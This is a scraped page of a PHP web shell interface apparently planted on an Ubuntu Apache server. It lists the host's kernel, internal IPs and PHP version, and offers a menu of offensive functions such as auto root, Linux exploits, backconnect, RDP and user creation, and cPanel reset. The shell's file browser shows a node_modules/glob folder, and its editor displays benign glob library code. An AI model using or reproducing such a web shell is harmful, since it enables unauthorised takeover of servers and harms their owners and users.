Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
glob /
dist /
commonjs /
[ HOME SHELL ]
Name
Size
Permission
Action
glob.d.ts
14.46
KB
-rw-r--r--
glob.d.ts.map
3.94
KB
-rw-r--r--
glob.js
8.35
KB
-rw-r--r--
glob.js.map
27.56
KB
-rw-r--r--
has-magic.d.ts
760
B
-rw-r--r--
has-magic.d.ts.map
246
B
-rw-r--r--
has-magic.js
1.03
KB
-rw-r--r--
has-magic.js.map
1.45
KB
-rw-r--r--
ignore.d.ts
813
B
-rw-r--r--
ignore.d.ts.map
886
B
-rw-r--r--
ignore.js
4.17
KB
-rw-r--r--
ignore.js.map
7.3
KB
-rw-r--r--
index.d.ts
6
KB
-rw-r--r--
index.d.ts.map
3.99
KB
-rw-r--r--
index.js
2.81
KB
-rw-r--r--
index.js.map
8.17
KB
-rw-r--r--
package.json
25
B
-rw-r--r--
pattern.d.ts
2.07
KB
-rw-r--r--
pattern.d.ts.map
1.28
KB
-rw-r--r--
pattern.js
7.13
KB
-rw-r--r--
pattern.js.map
13.08
KB
-rw-r--r--
processor.d.ts
2.09
KB
-rw-r--r--
processor.d.ts.map
1.71
KB
-rw-r--r--
processor.js
10.51
KB
-rw-r--r--
processor.js.map
18.6
KB
-rw-r--r--
walker.d.ts
3.69
KB
-rw-r--r--
walker.d.ts.map
4.1
KB
-rw-r--r--
walker.js
12.57
KB
-rw-r--r--
walker.js.map
27.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ignore.js
"use strict"; // give it a pattern, and it'll be able to tell you if // a given path should be ignored. // Ignoring a path ignores its children if the pattern ends in /** // Ignores are always parsed in dot:true mode Object.defineProperty(exports, "__esModule", { value: true }); exports.Ignore = void 0; const minimatch_1 = require("minimatch"); const pattern_js_1 = require("./pattern.js"); const defaultPlatform = (typeof process === 'object' && process && typeof process.platform === 'string') ? process.platform : 'linux'; /** * Class used to process ignored patterns */ class Ignore { relative; relativeChildren; absolute; absoluteChildren; platform; mmopts; constructor(ignored, { nobrace, nocase, noext, noglobstar, platform = defaultPlatform, }) { this.relative = []; this.absolute = []; this.relativeChildren = []; this.absoluteChildren = []; this.platform = platform; this.mmopts = { dot: true, nobrace, nocase, noext, noglobstar, optimizationLevel: 2, platform, nocomment: true, nonegate: true, }; for (const ign of ignored) this.add(ign); } add(ign) { // this is a little weird, but it gives us a clean set of optimized // minimatch matchers, without getting tripped up if one of them // ends in /** inside a brace section, and it's only inefficient at // the start of the walk, not along it. // It'd be nice if the Pattern class just had a .test() method, but // handling globstars is a bit of a pita, and that code already lives // in minimatch anyway. // Another way would be if maybe Minimatch could take its set/globParts // as an option, and then we could at least just use Pattern to test // for absolute-ness. // Yet another way, Minimatch could take an array of glob strings, and // a cwd option, and do the right thing. const mm = new minimatch_1.Minimatch(ign, this.mmopts); for (let i = 0; i < mm.set.length; i++) { const parsed = mm.set[i]; const globParts = mm.globParts[i]; /* c8 ignore start */ if (!parsed || !globParts) { throw new Error('invalid pattern object'); } // strip off leading ./ portions // https://github.com/isaacs/node-glob/issues/570 while (parsed[0] === '.' && globParts[0] === '.') { parsed.shift(); globParts.shift(); } /* c8 ignore stop */ const p = new pattern_js_1.Pattern(parsed, globParts, 0, this.platform); const m = new minimatch_1.Minimatch(p.globString(), this.mmopts); const children = globParts[globParts.length - 1] === '**'; const absolute = p.isAbsolute(); if (absolute) this.absolute.push(m); else this.relative.push(m); if (children) { if (absolute) this.absoluteChildren.push(m); else this.relativeChildren.push(m); } } } ignored(p) { const fullpath = p.fullpath(); const fullpaths = `${fullpath}/`; const relative = p.relative() || '.'; const relatives = `${relative}/`; for (const m of this.relative) { if (m.match(relative) || m.match(relatives)) return true; } for (const m of this.absolute) { if (m.match(fullpath) || m.match(fullpaths)) return true; } return false; } childrenIgnored(p) { const fullpath = p.fullpath() + '/'; const relative = (p.relative() || '.') + '/'; for (const m of this.relativeChildren) { if (m.match(relative)) return true; } for (const m of this.absoluteChildren) { if (m.match(fullpath)) return true; } return false; } } exports.Ignore = Ignore; //# sourceMappingURL=ignore.js.map
Close